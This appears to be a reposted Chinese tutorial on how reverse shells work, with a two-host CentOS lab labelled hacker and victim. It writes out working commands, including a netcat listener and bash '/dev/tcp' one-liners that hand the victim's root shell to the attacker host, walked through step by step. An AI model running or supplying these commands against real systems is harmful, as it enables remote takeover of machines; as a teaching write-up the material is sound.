centos7输入shell找不到命令_反弹shell原理与实现
什么是反彈shell?
反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。
為什么要反彈shell?
通常用于被控端因防火墻受限、權限不足、端口被占用等情形。
舉例:假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢?
有如下情況:
1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2.目標機器的ip動態改變,你不能持續控制。
3.由于防火墻等限制,對方機器只能發送請求,不能接收請求。
4.對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機等情況都是未知的,所以建立一個服務端讓惡意程序主動連接,才是上策。
那么反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。
參考: https://www.zhihu.com/question/24503813反彈shell實驗
環境:兩臺CentOS7.6服務器
- 攻擊端 hacker:10.201.61.194
- 受害端 victim:10.201.61.195
1. 攻擊端監聽一個端口:
[root@hacker ~]# nc -lvp 6767 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::6767 Ncat: Listening on 0.0.0.0:67672.受害端生成一個反彈shell:
[root@victim ~]# bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
3.攻擊端已獲取到受害端的bash:
[root@hacker ~]# nc -lvp 6767 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::6767 Ncat: Listening on 0.0.0.0:6767 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:46836. [root@victim ~]# //攻擊端已獲得受害端的遠程交互式shell [root@victim ~]# hostname hostname victim解釋:
1. nc -lvp 6767
-l 監聽,-v 輸出交互或出錯信息,-p 端口。nc是netcat的簡寫,可實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口。
2. bash -i
-i interactive。即產生一個交互式的shell(bash)。
3. /dev/tcp/IP/PORT
特殊設備文件(Linux一切皆文件),實際這個文件是不存在的,它只是 bash 實現的用來實現網絡請求的一個接口。打開這個文件就相當于發出了一個socket調用并建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。
通過以下4個小測試來分析反彈shell實現過程:
(PS: 注意執行步驟順序)
測試1:
受害端:
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 //第二步 [root@victim ~]# hostname //第三步 [root@victim ~]#攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:49018.victim //測試1結果:實現了將受害端的標準輸出重定向到攻擊端,但是還沒實現用命令控制受害端。測試2:
受害端:
[root@victim ~]# bash -i < /dev/tcp/10.201.61.194/5566 //第二步 [root@victim ~]# hostname //測試2結果:實現了將攻擊端的輸入重定向到受害端,但是攻擊端看不到命令執行結果。 victim攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:50412. hostname //第三步(攻擊端執行命令)測試3:
受害端:
[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 //第二步 [root@victim ~]# hostname //受害端回顯命令 [root@victim ~]# id //受害端回顯命令 [root@victim ~]# hahaha //受害端回顯命令 bash: hahaha: command not found //受害端回顯命令。顯示錯誤命令的輸出。 [root@victim ~]#攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:36792. hostname //第三步(攻擊端執行命令) victim id //第四步(攻擊端執行命令) uid=0(root) gid=0(root) groups=0(root) hahaha //第五步(執行一個錯誤的命令)//測試3結果:基本實現了反彈shell的功能。但是受害端的機器上依然回顯了攻擊者機器上執行的命令,且攻擊端看不到錯誤命令的輸出。測試4(將上面三個測試結合。將標準輸入、標準輸出、錯誤輸出全都重定向到攻擊端):
受害端:[root@victim ~]# bash -i > /dev/tcp/10.201.61.194/5566 0>&1 2>&1 //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1 (注:&>或>& 表示混合輸出,即標準輸出1 + 錯誤輸出2)攻擊端:[root@hacker ~]# nc -lvp 5566 //第一步 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::5566 Ncat: Listening on 0.0.0.0:5566 Ncat: Connection from 10.201.61.195. Ncat: Connection from 10.201.61.195:51182. [root@victim ~]# hostname //第三步。測試4結果:攻擊端已獲得受害端的遠程交互式shell,而且受害端沒有再回顯攻擊端輸入的命令~ hostname victim//PS:由測試3、測試4對比可見,標準錯誤2不僅顯示錯誤信息的作用,居然還有回顯輸入命令和終端提示符的作用~~~總結:
本文整理了反彈shell的一些資料并通過實驗理解反彈shell原理。深入理解文件描述符和重定向才能更好弄懂反彈shell~
參考:https://xz.aliyun.com/t/2549 先知社區:Linux 反彈shell(二)反彈shell的本質 https://www.freebuf.com/articles/system/153986.html FREEBUF:淺析重定向與反彈Shell命令以上內容希望幫助到大家,很多PHPer在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那里入手去提升,對此我整理了一些資料,包括但不限于:分布式架構、高可擴展、高性能、高并發、服務器性能調優、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階干貨需要的可以免費分享給大家,需要戳下方
PHP進階架構師>>>視頻、面試文檔免費獲取?docs.qq.com或者關注我看更多技術文
PHP架構師之路?www.zhihu.com來源:https://www.cnblogs.com/iouwenbo/p/11277453.html總結
以上是生活随笔為你收集整理的centos7输入shell找不到命令_反弹shell原理与实现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 本期缴纳上期应纳税额是什么意思
- 下一篇: 幼儿园带括号算式口诀_整理41组“数学顺